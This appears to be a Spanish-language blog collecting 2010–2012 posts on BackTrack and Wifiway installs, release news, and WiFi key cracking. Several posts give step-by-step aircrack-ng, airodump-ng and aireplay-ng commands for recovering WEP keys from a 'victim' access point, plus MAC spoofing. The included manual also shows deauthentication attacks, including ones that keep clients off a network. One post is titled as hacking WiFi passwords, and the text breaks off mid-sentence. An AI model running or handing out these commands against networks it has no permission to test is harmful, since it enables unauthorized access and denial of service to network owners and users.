Super Wifi Huancayo

Minidwep

2012-03-04T08:14:00.002-08:00

Minidwep

Esta es de las ultimas utilidades que han ido apareciendo, es sin duda la mas fácil de utilizar. Hay que matizar que para este ejemplo hemos conectado a nuestra red un ordenador a Internet por wifi. Por lo que nuestra red aparecerá con un cliente asociado, pero no es imprescindible

Al empezar nos saldrá la siguiente pantalla.

Donde esta marcado el circulo, ahí tenemos que seleccionar nuestro adaptador wifi.

Hecho esto solo tenemos que pulsar el botón de Scan y esperar a que termine de escanear, una vez terminado nos aparecerán las redes que tenemos a nuestro alcance, como aparece en la siguiente imagen.

Ahora podemos ver que nuestra red que tiene un cliente asociado, por lo que nos va a ser relativamente fácil sacar la clave, vuelvo a repetir que no es imprescindible tener un cliente asociado, pero nos facilita mucho el trabajo y aumentan las posibilidades de éxito. Una vez seleccionada la red pulsamos el botón lanch y empezara a capturar paquetes como se muestra en la imagen.

En la imagen se puede ver que se han capturado ya 8327 datas así que ya solo queda esperar que nos salga la clave, solo es cuestión de tiempo. En la imagen siguiente se nos muestra ya la clave tanto en Hexadecimal como en ASCII en esta ocasión hemos necesitado 50774 datas.

Vuelvo a recordar que esto no es una ciencia exacta, así que unas veces necesitaremos más tiempo y en otras menos tiempo, en este ejemplo lo hemos conseguido 6 minutos.

Fuente: http://cayro.webcindario.com/wifi/Minidwep.htm

Wifiway 3.4 (LIBERADA)

2012-03-04T07:40:00.001-08:00

Wifiway 3.4 (LIBERADA)

Según informan desde el foro de Seguridad Wireless, ya tenemos disponible la ultima versión de esta conocida suite de auditoría de redes.
Para quien no conozca esta distribución GNU/Linux, Wifiway está pensada y diseñada para la auditoría de seguridad de las redes WiFi, Bluetooth y RFID. La suite es un compendio de todas las herramientas más conocidas para auditoría wireless y no está basada en ninguna distribución anterior, ya que está realizada desde cero con Linux From Scratch.

En esta nueva versión se han solucionado diversos problemas, entre ellos el arranque o el soporte para tarjetas nvidia con CUDA. También se ha añadido la herramienta Reaver wps, que aprovecha una vulnerabilidad del WPS de algunos routers, de la que podéis encontrar más información en RedesZone aquí o incluso ver cual ha sido la reacción de los fabricantes aquí.

Esta es la lista completa de los cambios:

Reconstruido modulo nvidia por conflicto con intel 3945
Actualizado hashcat a version 007
Actualizado aircrack-ng a version 1.1 revisión 2022
Añadido cheat max_loop=255 en las opciones de arranque
Añadido reaver 1.4
Añadido salvar sesión reaver
Añadido walsh
Solventados los problemas de booteo
Modificado script lilo y alguno mas apuntando a initrd.xz y no a initrd.gz que ya no se usa.
Eliminadas algunas paginas guardadas en firefox
Cambiado script make_iso por el del equipo de desarrollo
Cambiado dir2xzm por tener una versión vieja
Eliminado sonido de bienvenida

Esta distribución se puede instalar en el disco como cualquier otra, pero por su poco peso está más orientada para su utilización como LiveCD o incluso desde un pendrive, algo realmente fácil, porque además dispone de un script que lo hace arrancable sin necesitar ningún programa externo.

Enlaces de descarga:

Descarga oficial
Descarga alternativa

Si tienes alguna duda o propuesta, podéis comentarlo en el foro de Seguridad Wireless

Fuente: http://www.linuxzone.es/2012/01/12/liberado-wifiway-3-4/

2011-12-15T18:15:00.000-08:00

Instalar BackTrack 5 en tu disco duro desde Windows

Puede que el título suene un poco extraño. Pero sí, se puede instalar un sistema operativo en el disco duro físico real (BackTrack Linux en este caso) dentro de otro y de forma bastante sencilla.

¿Cómo?

Utilizando un sistema de virtualización, como VirtualBox o VMWare, crearemos una máquina virtual que use nuestro disco duro físico real e instalaremos en él el sistema que queramos, como si fuese uno virtualizado, pero lo que instalemos permanecerá en nuestro disco duro real.

¿Por qué?

Hay buenas razones para instalar BackTrack (u otro operativo) desde una máquina virtual:

Evitas tener que grabar la imagen, y por tanto el CD. Aunque sea en un USB siempre es pesado hacerlo.
No tienes que reiniciar el PC.
Puedes seguir trabajando con tu PC mientras instalas y/o actualizas tu nuevo sistema operativo.
Los drives que emulan VirtualBox o BackTrack son reconocidos sin problemas por todos los sistemas operativos. Esto nos da la posibilidad de instalar el SO y después arreglar el problemas de drivers (como la tarjeta gráfica, por ejemplo).
Y, como no… ¡Es curioso y digno de probar!

¿Qué necesito?

VirtualBox (para el ejemplo usaremos este) o VMWare.
La ISO de BackTrack.

Pasos a seguir

1 - Crear la máquina virtual

Crearemos la máquina virtual como si fuésemos a virtualizar un Linux cualquiera. Cuando lleguemos al punto en el que nos pida disco duro omitimos el paso:

2 – Creamos el disco duro virtual asociado al físico

Para hacer esto ejecutamos el siguiente comando:

Windows:

C:\Archivos de programa\Oracle\VirtualBox\VBoxManage internalcommands createrawvmdk -filename "c: \Users\MYUSER\VirtualBox VMs\Backtrack5\backtrack_real.vmdk" -rawdisk \\ .\PhysicalDrive0

* Sustituir MYUSER por vuestro usuario.

* Backtrack5 es el nombre que le habéis dado a la máquina virtual.

Linux:

VBoxManage internalcommands createrawvmdk -filename /home/MYUSER/VirtualBox\ VMs/Backtrack5/backtrack_real.vmdk -rawdisk /dev/sda

* Sustituir sda por vuestro disco primario. sda/hda/scsi...

* Sustituir MYUSER por vuestro usuario.

* Para poder ejecutar este comando tu usuario tiene que pertenecer al grupo "disk". NO crear con "sudo", os dará muchos problemas. Para añadirse al grupo "disk" ejecutar: sudo gpasswd –a USUARIO disk.

3 – Asociamos el disco a la maquina virtual

Seleccionamos la máquina virtual y pulsamos el botón "configuración". Después asociamos el disco recién creado en el menú:

4 – Añadimos el CD de autoarranque o la ISO

Al igual que si fuéramos a instalar Backtrack en nuestro PC físico necesitamos un CD, o la ISO -que es más fácil-, para instalación. La asociamos:

5 – Cambiamos el orden de arranque

Igual que haríamos en un PC físico:

6 – Arrancamos e instalamos normalmente

Y por fin, ya podemos instalar Backtrack. Los pasos son exactamente los mismos que si la instaláramos físicamente: Tendremos que seleccionar la partición adecuada, crear el swap, etc etc

CUIDADO CON LOS CAMBIOS QUE HACEIS. SI BORRAIS UNA PARTICIÓN SE BORRARÁ DEL DISCO DURO FÍSICO.

En la imagen obseramos como la distribución de disco que muestra una partición de Windows (además de otras). Esto es debido a que es mi disco físico

Como siempre: comentarios, ruegos y preguntas…

¡Saludos a todos!

Referencias

Fuente: http://www.iniqua.com/2011/11/17/instalando-backtrack-5-en-nuestro-disco-duro-desde-windows/

Última actualización disponible de BackTrack 5 R1

2011-09-05T04:57:00.000-07:00

BackTrack 5 R1

BackTrack 5 R1 es la última actualzación que ha sido liberada para que los usuarios amantes de la seguridad informática puedan conocer las novedades y usar esta nueva versión de una de las mejores distribuciones de Linux.

La última actualización de Backtrack se basa en la versión de Ubuntu 10.04 y que fue lanzada en el mes de Mayo de este año. En esta versión como siempre ha ocurrido, se han corregido algunos errores y mejorado aspectos de rendimiento y bugs de seguridad que fueron encontrados en la versión anterior.

Por otro lado se ha actualizado el Kernel de Linux 2.6.38 que ahora cuenta con parches de inyección inalámbrica, en las versiones 4.6 de KDE y 2.6 de GNOME… haciendo que el trabajo de expertos en informática sea mejor aún.

BackTrack es muy conocido en el mundo de la seguridad de redes inalámbricas, puesto que hay personas que usan sus conocimientos para hackear y sacar las contraseñas de estas redes, penetrando y accediendo a Internet, en donde usan una de las tantas aplicaciones de análisis y diagnostico que se encuentran en el LiveCD.

Ya lo sabes entonces si contabas con la versión BackTrack 5, puedes descargar la nueva distribución gratuitamente con tan sólo ingresar al sitio oficial para conseguirla.

Página Oficial: Backtrack-linux.org

Fuente: http://tupuntonet.com/ultima-actualizacion-disponible-de-backtrack-5-r1/516/

CRACKEO DE ENCRIPTACION WEP CON BACKTRACK 5 REVOLUTION

2011-05-26T09:12:00.001-07:00

CRACKEO DE ENCRIPTACION WEP CON BACKTRACK 5 REVOLUTION

Abrimos una Terminal (consola 1):

1. Configurar la secuencia de Arranque de la PC (USB o Lectora como primer dispositivo de arranque), donde este el BackTrack.

2. Escribimos el comando startx para cargar el Entorno Grafico

3. Ponemos la tarjeta en modo monitor con airmon-ng

airmon-ng start [nombre tarjeta inalámbrica] --> wlan0, wlan1, ath0,.

Ejemplo: airmon-ng start wlan0

En modo monitor, la tarjeta quedara renombrada como: mon0 o mon1

4. Escaneamos las redes wireless con airodump-ng

airodump-ng [nombre tarjeta inalámbrica] --> mon0, mon1…..

Ejemplo: airodump-ng mon0

Verificamos el canal (CH) en el que está trabajando la red al cual atacaremos.

5. Presionamos Ctrl + c para detener el escaneo.

6. Escaneamos las la red seleccionada en un canal especifico y guardamos la captura en un archivo con airodump-ng

airodump-ng -c [numero canal] –w [nombre archivo] [nombre tarjeta wifi]

Ejemplo: airodump-ng –c 6 –w wep mon0

Caso 1: Red sin Filtro de MAC:

Abrimos otra Terminal (consola 2):

1. Nos asociamos a la red inalámbrica con aireplay-ng

aireplay-ng -1 0 -a [MAC AP Victima] [nombre tarjeta wifi]

Ejemplo: aireplay-ng -1 0 –a 11:22:33:44:55:66 mon0

2. Empezamos a inyectar paquetes a la red asociada con aireplay-ng

aireplay-ng -3 -b [MAC AP Victima] [nombre tarjeta wifi]

Ejemplo: aireplay-ng -3 –b 11:22:33:44:55:66 mon0

Caso 2: Red con Filtro de MAC:

Abrimos otra Terminal (consola 2):

1. Nos asociamos a la red inalámbrica con aireplay-ng

aireplay-ng -1 0 -a [MAC AP Victima] –h [MAC cliente Victima] [nombre tarjeta wifi]

Ejemplo: aireplay-ng -1 0 –a 11:22:33:44:55:66 -h 66:55:44:33:22:11 mon0

2. Empezamos a inyectar paquetes a la red asociada con aireplay-ng

aireplay-ng -3 -b [MAC AP Victima] –h [MAC cliente Victima] [nombre tarjeta wifi]

Ejemplo: aireplay-ng -3 –b 11:22:33:44:55:66 -h 66:55:44:33:22:11 mon0

Abrimos otra Terminal (consola 3):

1. Una vez capturado una gran cantidad de datos (Data) vamos a crackear la red inalámbrica con aircrack-ng

aircrack-ng [filename]-01.cap

Ejemplo: aircrack-ng wep-01.cap

Nota: Para reiniciar la PC escribimos el comando init 6 en una terminal.

Descargar manual

BackTrack 5 Portable

2011-05-18T13:03:00.000-07:00

Para crear un BackTrack 5 Portable necesitamos:

¿Cuantas veces no hemos necesitado correr una copia de BackTrack sobre un entorno windows?, Muchas ¿no? y en algunas veces ni siquiera podemos reiniciar la maquina o instalar una maquina virtual, por eso les traigo una pequeña guía para llevar nuestro BackTrack (o cualquier otro sistema operativo) de forma portable en nuestra memoria USB, sobre cualquier maquina con Microsoft Windows .

Para crear un BackTrack Portable necesitamos:

BackTrack (o tu sistema operativo favorito, la guía esta abierta a cualquiera de ellos)
Moka5 (Maquina Virtual Portable) – Mirror de la comunidad antes que Moka5 se volviera comercial
Memoria USB (mínimo 2GB de espacio)

Primero necesitamos la herramienta Moka5 que la podemos descargar aquí, también necesitamos la ISO del BackTrack podemos bajarla aquí, una vez tienes las herramientas necesarias, empezaremos a crear nuestro BackTrack portable en nuestra memoria USB.
1). Ejecutamos el instalador del Moka5 y seleccionamos la opción “Install on a portable storage device (e.g. iPod, USB storage device)”.

Nos aparecerá el siguiente pantallazo:

Donde debemos escoger la opción “Make you own LivePC”, la otra opción es para descargar o ejecutar en línea algunas maquinas prefabricadas (al parecer ya no están disponibles después de que moka5 se volviera comercial).
5). Ahora configuramos el titulo de la maquina virtual, el icono y la ruta del CD-ROM o ISO.

En este paso puedes escoger la opción que te guste mas, te voy a comentar los pros y contras de las 2 opciones de instalación local.

Physical CD/DVD: Si escoges esta opción la maquina virtual buscara el sistema en tu lector de CD/DVD, esto te ahorra espacio en tu memoria USB (no tendrás que copiar la ISO del BT en ella) aunque la carga del sistema (como Live CD) es mas lenta y te ocupa el lector, si piensas instalar el BT en esta maquina no importa que opción escojas.
Local ISO file: Con esta opción la maquina ejecuta el sistema desde la ISO alojada en la memoria USB, inicia mas rápido (como Live CD) y si necesitas espacio en tu memoria para otra cosa solo tienes que eliminar la ISO (luego la vuelves a copiar), si vas a instalar el BT en la maquina y tu memoria es de 1GB debes copiar la ISO en el PC (la instalación completa del BackTrack ocupa mas de 1GB, si tienes una memoria esa capacidad tienes que instalarlo como “Live”).

6). Ahora configuramos el tipo de sistema que instalaremos en nuestra maquina virtual, escogemos “Linux” y “Other Linux 2.6.x kernel” ya que el BackTrack tiene esa versión del kernel.

Con esto hemos terminado la configuración de nuestra maquina virtual portable para ejecutar BackTrack desde una memoria USB en entornos windows, ahora iniciamos nuestro BackTrack y escogemos la opción que mas nos agrade para trabajar, a mi me gusta el entorno KDE así que inicio con el, pero tu puedes iniciar por el que quieras (ahora que en la versión 5 tenemos tantas opciones), esperamos que termine la carga del sistema y tendremos nuestro BackTrack totalmente operativo.
Puedes instalar tu BackTrack o trabajar con el en Live CD, si quieres configurar mas a fondo tu maquina puedes hacer click en “advance options” cuando te encuentres en el paso 5 y podrás configurar la red, los dispositivos USB, el tamaño del disco virtual, ademas es posible usar el moka5 para llevar de forma portable otro sistema, sigue el mismo procedimiento, pero en el paso 6 lo configuran según el sistema que vas a instalar.
PD. Recuerda que al estar ejecutando BackTrack en una maquina virtual NO RECONOCERÁ tu hardware, por lo tanto herramientas como la suite aircrack no funcionara, moka5 tiene soporte para dispositivos USB, solo de esta forma podrás hacer uso de dispositivos como bluetooth o tarjetas inalámbricas.
PD2. Articulo original creado el 21 diciembre 2007 pero actualizado por petición de varias personas.

Fuente: http://www.dragonjar.org/backtrack-portable.xhtml

Instalar BackTrack 5 'Revolution' en una Memoria USB (Pendrive)

2011-05-16T07:06:00.000-07:00

Instalar BackTrack 5 'Revolution' en una USB

BackTrack es una genial distribucion para la auditoria de seguridad y relacionada con la seguridad informática en general, la precente publicación muestra como instalar Backtrack 4 r2 en una memoria usb, para el presente ejemplo utilizamos versión de UNebootin para linux, pero tambien UD. puede usar la versión de UNebootin para Windows. Con los siguientes pasos podran instalar Backtrack 4 r2 a su memoria (pendrive) usb y utilizarla en cualquier laptop o computadora que permita inciar unidades usb.

Requisitos:

Descargar la version de Backtrack 5 aqui.
Una memoria usb de 4 Gb a más.
UnetBootin, puede ser tanto en GNU/linux como en Windows

Ya que tengamos todo esto listo tenemos que insertar nuestra usb y abrir el Unetbootin, si no nos deja ejecutarlo tenemos que darle permisos de ejecucion, con la terminal:

chmod +x unetbootin-linux-377

o podemos darle click derecho > Propiedades > Permisos y seleccionamos Permitir ejecutar el archivo como un programa.

En el Unetbootin seleccionamos imagen de iso y buscamos el lugar donde se encuentre nuestra imagen de backtrack, abajo tenemos que seleccionar el tipo, en este caso es unidad USB y seleccionamos nuestra unidad, aqui una captura:

Ahora solo damos click en aceptar y empezaran a copiarse Backtrack a nuestra usb y estara lista para iniciarse sin necesidad de un CD o DVD.
Enlaces:

BackTrack 5 ‘Revolution’ ya está aquí

2011-05-15T07:12:00.000-07:00

BackTrack 5, disponible la mejor distro de seguridad y auditoría

Ya está disponible para descarga y uso la nueva versión de la distribución GNU/Linux BackTrack especializada en seguridad y auditoría informática, muy apreciada entre la comunidad por sus test de penetración.

BackTrack 5 (nombre en clave ‘revolution’ está basada en la distro Ubuntu 10.04 LTS con kernel 2.6.38 y entornos de escritorio KDE 4.6 y GNOME 2.6. Incluye soporte hardware mejorado y extendido especialmente para chips de conexión inalámbrica Wi-Fi y multitud de herramientas.

Como de costumbre, y además de la auditoría Wireless su potencial es infinito incluyendo numerosos escáneres de puertos y vulnerabilidades, análisis forense, archivos de exploits, sniffers…

BackTrack 5 está disponible para descarga en arquitecturas x86 de 32 y 64 bits con entornos GNOME y KDE. También imagen para el sistema de virtualización VMware y por primera vez una versión para arquitectura RISC ARM.

Descarga libre y uso gratuito de esta gran distribución GNU/Linux (nuestra preferida del sector de seguridad informática) que puedes instalar en disco o probar desde CD/DVD o USB sin modificar tu equipo bajo el formato Live.

Link de descarga: http://www.backtrack-linux.org/downloads/

Fuentes:
http://www.muycomputer.com/2011/05/11/backtrack-5-disponible-la-mejor-distro-de-seguridad
http://www.muylinux.com/2011/05/11/backtrack-5-revolution-ya-esta-aqui/

Hackear contraseña de WiFi con Backtrack 4

2011-03-12T19:19:00.000-08:00

Hackear contraseña de WiFi con Backtrack 4
Este muy bien hecho video tutorial (disponible en HD!) demuestra lo simple que es conseguir la contraseña de una red WiFi (que esté utilizando WEP), con el programa Backtrack.

Los programas necesarios, los encontrarán aquí

http://www.backtrack-linux.org
http://www.imgburn.com
Necesitarán también un disco en blanco para poder correr el programa (es un ISO)

Mientras que los comandos utilizados, son estos:
Startx
/etc/init.d/networking start
airmon-ng
airmon-ng stop [wireless card name]
airmon-ng start [wireless card name]
airmon-ng
airodump-ng [wireless card name]
ctrl c
airodump-ng w wep c [channel number] bssid [Bssid number] [wireless card name]
aireplay-ng -1 0 a [bssid] [wireless card name]
aireplay-ng -3 b [bssid][wireless card name]
ctrl + c
dir
aircrack-ng [filename]

Fuente: http://www.youtube.com/watch?v=jETwvEDaJeQ&feature=player_embedded

Seguridad Wi-Fi – WEP, WPA y WPA2

2010-12-22T19:35:00.000-08:00

Descargar Documento : https://docs.google.com/viewer?a=v&pid=explorer&chrome=true&srcid=0B2yVGvtaT40LYWExYWVhMTQtYzE2YS00ZjEyLThmYmMtOTdkMzAzZWZmNWFk&hl=es&authkey=CJ-drJcE D

Seguridad en redes Inalámbricas WiFi

2010-12-22T19:32:00.000-08:00

Descargar documento : https://docs.google.com/viewer?a=v&pid=explorer&chrome=true&srcid=0B2yVGvtaT40LOTQ0NTNmNTAtODg2Yy00NDZlLTkyODUtODMxZDk1NDIxMThi&hl=es&authkey=CJ378eEK De

BackTrack 4 en español

2010-12-22T19:23:00.000-08:00

Para los que se llevan mal con el ingles o simplemente quieres tener BackTrack 4 en español les dejo un script para que sin problemas y mas comodamente hagan el cambio.

He echo el script ya que soy un poco vago estar poniendo comando por comando y esperar que se ejecuten este script trae todos los comandos para su ejecucion.

Instrucciones de instalacion

1) Acceder donde haz guardo el archivo
2 ) ejecutalo así ./spanish.sh si tienes problemas dale permisos de ejecucion chmod 755 spanish.sh
3) Un mensaje de confirmacion al final de la instalacion.

Advertencia

Usar esto te puede acostumbrar a lo fácil y olvidarte de los comandos de memoria

spanish.sh
(2.26 KiB)

Fuente: http://www.zonadd.net/viewtopic.php?t=5744

Configuracion Básica de Router Microtik

2010-12-19T14:27:00.001-08:00

Descargar Documento : https://docs.google.com/viewer?a=v&pid=explorer&chrome=true&srcid=0B2yVGvtaT40LYmQ5N2YyNGQtYjczMS00MzI0LWJkZmYtYWFkNWFjNjE3OTFi&hl=es De

Tutorial: Como Crackear WPA/WPA2

2010-12-12T18:12:00.000-08:00

Descargar Documento : https://docs.google.com/viewer?a=v&pid=explorer&chrome=true&srcid=0B2yVGvtaT40LNTRlZGE1MmMtOWQ2MS00OTNmLWFmNWMtOGE4YTMyYmJmYjFh&hl=es

Cambiar Direccion MAC (MAC Address) en Windows y GNU/Linux

2010-12-10T05:44:00.000-08:00

En este Enlace UD. aprendera a Cambiar las direcciones MAC de las Diferentes Tarjetas de red que pueda tener su PC (ya sean internas o externas).
Descargar Documento: https://docs.google.com/viewer?a=v&pid=explorer&chrome=true&srcid=0B2yVGvtaT40LZWZiNDY5MTMtYmM2ZS00OGRkLWI0ZDgtY2Y1OWYwOTUyMTkx&hl=es&authkey=CJW659IB

Manual en español suite aircrack-ng

2010-12-04T07:36:00.000-08:00

Manual en español suite aircrack-ng

aircrack-ng
aircrack-ng [opciones] <archivo(s) de captura>

Los archivo(s) de captura pueden estar en formato cap o ivs.
-a
amode
Fuerza el tipo de ataque (1 = WEP estática, 2 = WPA-PSK).

-e
essid
Si se especifica, se usarán todos los IVs de las redes con el mismo ESSID. Esta opción es necesaria en el caso de que el ESSID no esté abiertamente difundido en una recuperación de claves WPA-PSK (ESSID oculto).

-b
bssid
Selecciona la red elegida basándose en la dirección MAC.

-p
nbcpu
En sistemas SMP , especifica con esta opción el número de CPUs.

-q
Activa el modo silencioso (no muestra el estado hasta que la clave es o no encontrada).

-c
(recuperación WEP) Limita la búsqueda a caracteres alfanuméricos sólamente (0x20 - 0x7F).

-t
(recuperación WEP) Limita la búsqueda a los caracteres hexa decimales codificados en binario.

-h
(recuperación WEP) Limita la búsqueda a los caracteres numericos (0×30-0×39)
Estas contraseñas son usadas por defecto en la mayoría de las Fritz!BOXes (routers configurados por defecto).

-d
start
(recuperación WEP) Especifica el comienzo de la clave WEP (en hex), usado para depuración.

-m
maddr
(recuperación WEP) Dirección MAC para la que filtrar los paquetes de datos WEP.
Alternativamente, especifica -m ff:ff:ff:ff:ff:ff para usar todos y cada uno de los IVs, indiferentemente de la red que sea.

-n
nbits
(recuperación WEP) Especifica la longitud de la clave: 64 para WEP de 40-bit , 128 para WEP de 104-bit , etc. El valor predeterminado es 128.

-i
index
(recuperación WEP) Conserva sólo los IVs que tienen este índice de clave (1 a 4).
El comportamiento predeterminado es ignorar el índice de la clave.

-f
fudge
(recuperación WEP) De forma predeterminada, este parámetro está establecido en 2 para WEP de 104-bit y en 5 para WEP de 40-bit.
Especifica un valor más alto para elevar el nivel de fuerza bruta: la recuperación de claves llevará más tiempo, pero con una mayor posibilidad de éxito.

-k
korek
(recuperación WEP) Hay 17 ataques de tipo estadístico de korek. A veces un ataque crea un enorme falso positivo que evita que se obtenga la clave, incluso con grandes cantidades de IVs. Prueba -k 1, -k 2, ... -k 17 para ir desactivando cada uno de los ataques de forma selectiva.

-x ó -x0
(recuperación WEP) No aplicar fuerza bruta sobre los dos últimos keybytes.

-x1
(recuperación WEP) Aplicar fuerza bruta sobre el último keybyte.

-x2
(recuperación WEP) Aplicar fuerza bruta sobre los dos últimos keybytes.

-X
No aplicar fuerza bruta multiproceso (En sistemas SMP).

-y
(recuperación WEP) Éste es un ataque de fuerza bruta experimental único que debería ser usado cuando el método normal de ataque falle con más de un millón de IVs.

-s
(recuperación WEP) Mostrar la clave en formato ASCII.

-z
(recuperación WEP) Opción de ataque PTW (Solo funciona bajo archivos .cap)

-w
words
(recuperación WPA) Ruta hacia la lista de palabras o “-” sin comillas para
utilizar complementos de tipo (fuerza bruta).

ivstools
Esta es una utilidad muy buena ya que sirve para:

1º) unir archivos ivs en uno solo usamos el siguiente comando:

ivstools --merge captura1.ivs captura2.ivs captura3.ivs archivofinal.ivs

siendo captura(s) los archivos que queremos unir y archivofinal el que nos generara como unión de los anteriores

2º) Para convertir un archivo con extensión cap en ivs:

ivstools --captura.cap archivofinal.ivs

makeivs
Es una utilidad que nos permite crear un archivo con extensión ivs con la clave que nosotros le añadamos (es solo para hacer pruebas no sirve para nada mas)

makeivs.exe captura.ivs 866578388f517be0b4818a0db1

siendo captura el archivo inventado y 866578388f517be0b4818a0db1la clave inventada

Airmon-ng
Sirve para poner nuestra tarjeta en modo monitor antes de empezar a capturar trafico debemos poner nuestra tarjeta en modo monitor usando este script para ello tecleamos:

airmon-ng <start/stop> <dispositivo> [canal]

start: para activar el modo monitor.
stop: para parar el modo monitor.
dispositivo: nuestra tarjeta (ath0, eth0, raw0.....)

Airodump-ng
Descripción
Se usa para capturar datos trasmitidos a través del protocolo 802.11 y en particular para la captura y recolección de IVs (vectores iniciales) de los paquetes WEP con la intención de usar aircrack-ng. Si existe un receptor GPS conectado al ordenador airodump-ng muestra las coordenadas del AP.

Uso
Antes de usarlo debes haber iniciado el script airmon-ng para que se muestren los dispositivos wireless que posees y para activar el modo monitor. Puedes, pero no se recomienda que ejecutes Kismet y airodump al mismo tiempo.

airodump-ng [opcione(s)] <dispositivo>

OPCIONES:
--ivs: Captura solo ivs
--gpsd: Para usar un dispositivo Gps
--write <nombre del archivo a guardar> :crea un archivo del nombre que le hallamos puestos y con la extensión(.cap ó .ivs) y empieza a capturar.
-w: es lo mismo que poner write
--beacons: Guarda los beacons, por defecto no los guarda.

Por defecto airodump captura todos los canales que se encuentren dentro de la frecuencia 2,4 GHz.

--channel :Captura el canal especificado
-c: Lo mismo que escribir channel
-a: Captura en la frecuencia de 5Ghz especifica del canal a
-abg: Captura tanto en frecuencias de 2,4Ghz como en 5 Ghz

Para configurar correctamente los comandos debemos seguir el orden en el que están escritos en este texto y omitir el comando que no deseemos modificar:

Ejemplos:

airodump-ng --ivs -w prueba -c 11 -abg ath0

capturaría solo ivs creando un archivo llamado prueba en el canal 11 tanto en a/b/g

airodump-ng -w prueba -c 11 -abg ath0

capturaría creando un archivo cap llamado prueba en el canal 11 tanto en a/b/g

*Airodump oscila entre WEP y WPA.
Esto ocurre cuando tu controlador no desecha los paquetes corruptos (los que tienen CRC inválido). Si es un ipw2100 (Centrino b), simplemente no tiene arreglo; ve y compra una tarjeta mejor. Si es una Prism2, prueba a actualizar el firmware.

*¿ Cuál es el significado de los campos mostrados por airodump-ng ?

airodump-ng mostrará una lista con los puntos de acceso detectados, y también una lista de clientes conectados o estaciones ("stations").

Aireplay-ng
Se pueden realizar 5 ataques diferentes:

Ataque 0: Desautentificación
Ataque 1: Autentificación falsa
Ataque 2: Selección interactiva del paquete a enviar
Ataque 3: Reinyección de petición ARP
Ataque 4: El "chopchop" de KoreK (predicción de CRC)

Ataque 0: Desautentificación

Este ataque se puede utilizar para varios propósitos:

*Capturar el WPA Handshake

Para ello debemos poner el siguiente comando:

aireplay-ng -0 5 -a 00:13:10:30:24:9C -c 00:09:5B:EB:C5:2B ath0

0 significa desautentificación de cliente sirve para que se vuelva a asociar, vaciando de esta forma el cache ARP y por lo tanto volviendo a enviar su handshake.

-a 00:13:10:30:24:9C Seria el AP

-c 00:09:5B:EB:C5:2B Seria una Station asociada a esa AP. Si omitimos esta ultima parte el ataque se realiza sobre todos las Station conectadas a ese AP.

ath0 Es nuestra tarjeta según los diversos modelos de tarjeta (chip) varia wlan0, eth0, ra0....

*Reinyección ARP

aireplay-ng -0 10 -a 00:13:10:30:24:9C ath0
aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:09:5B:EB:C5:2B ath0

como podemos observar el primer comando es una desautentificación seguida de una reinyección de los paquetes obtenidos se supone que al haber vaciado la cache del cliente y volverse a conectar vuelve a enviar la contraseña
-b 00:13:10:30:24:9C Seria el AP
-h 00:09:5B:EB:C5:2B Seria el cliente

*Denegación del servicio a clientes conectados

Se basa en el envió continuo de paquetes de desautentificación con la consiguiente imposibilidad del(os) cliente(s) de conectarse.

aireplay-ng -0 0 -a 00:13:10:30:24:9C ath0

0 hace que envié paquetes continuamente a cualquier Station conectado a ese AP si solo queremos uno en particular enviaríamos con el comando:

aireplay-ng -0 0 -a 00:13:10:30:24:9C -c 00:09:5B:EB:C5:2B ath0

Ataque 1: Autentificación falsa
Este ataque es solamente exitoso cuando necesitamos un cliente asociado al AP para realizar los ataques 2, 3, 4 (-h opción) y no lo tenemos. Por lo tanto consiste en crear nosotros mismos un cliente que se asociara a ese AP .Hay que recordar llegando a este punto que siempre será mejor un cliente verdadero ya que el falso no genera trafico ARP.

Se recomienda que antes de realizar este ataque cambiemos nuestra dirección MAC de la tarjeta para que envié correctamente ACKs (peticiones).

ifconfig ath0 down
ifconfig ath0 hw ether 00:11:22:33:44:55
ifconfig ath0 up

Una vez realizado esto lanzamos el ataque de la siguiente forma:

aireplay-ng -1 0 -e 'the ssid' -a 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0
12:14:06 Sending Authentication Request
12:14:06 Authentication successful
12:14:06 Sending Association Request
12:14:07 Association successful :-)

'the ssid' sin las comillas es el nombre del AP 00:11:22:33:44:55 Cliente falso

Con los CVS 2005-08-14 madwifi parcheados, es posible inyectar paquetes estando en modo Infraestructura (la clave WEP en sí misma no importa, en tanto que el AP acepte autenticación abierta). Por lo que, en lugar de usar el ataque 1, puedes sólo asociarte e inyectar / monitorizar a través de la interfaz athXraw:

ifconfig ath0 down hw ether 00:11:22:33:44:55
iwconfig ath0 mode Managed essid 'the ssid' key AAAAAAAAAA
ifconfig ath0 up

sysctl -w dev.ath0.rawdev=1
ifconfig ath0raw up
airodump-ng ath0raw out 6

Entonces puedes ejecutar el ataque 3 o el 4 (abajo, aireplay reemplazará automáticamente ath0 por ath0raw):

aireplay-ng -3 -h 00:11:22:33:44:55 -b 00:13:10:30:24:9C ath0

aireplay-ng -4 -h 00:10:20:30:40:50 -f 1 ath0

Este ataque mencionado anteriormente hay muchas veces que falla y no es 100% seguro ya que ha sido probado por muchos de nosotros. El AP es cierto que escupe ivs pero hay veces que al intentar sacar la clave descubrimos que la clave es la introducida por nosotros por lo tanto no serviría de nada

Algunos puntos de acceso requieren de reautentificación cada 30 segundos, si no nuestro cliente falso será considerado desconectado. En este caso utiliza el retardo de re-asociación periódica:

aireplay-ng -1 30 -e 'the ssid' -a 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0

si en vez de 30 segundos queremos 20 pues escribimos 20 si fuesen 10 modificamos por 10 y asi sucesivamente

Si este ataque parece fallar (aireplay permanece enviando paquetes de petición de autenticación), puede que esté siendo usado un filtrado de direcciones MAC. Asegúrate también de que:

Estás lo suficientemente cerca del punto de acceso, pero ojo no demasiado porque también puede fallar.
El controlador está correctamente parcheado e instalado.
La tarjeta está configurada en el mismo canal que el AP.
El BSSID y el ESSID (opciones -a / -e) son correctos.
Si se trata de Prism2, asegúrate de que el firmware está actualizado.

Ataque 2: Selección interactiva del paquete a enviar

Este ataque te permite elegir un paquete dado para reenviarlo; a veces proporciona resultados más efectivos que el ataque 3 (reinyección automática de ARP).
Podrías usarlo, por ejemplo, para intentar el ataque "redifundir cualesquiera datos", el cuál sólo funciona si el AP realmente reencripta los paquetes de datos WEP:

aireplay-ng -2 -b 00:13:10:30:24:9C -n 100 -p 0841 -h 00:09:5B:EB:C5:2B -c FF:FF:FF:FF:FF:FF ath0

También puedes usar el ataque 2 para reenviar manualmente paquetes de peticiones ARP encriptadas con WEP, cuyo tamaño es bien 68 o 86 bytes (dependiendo del sistema operativo):

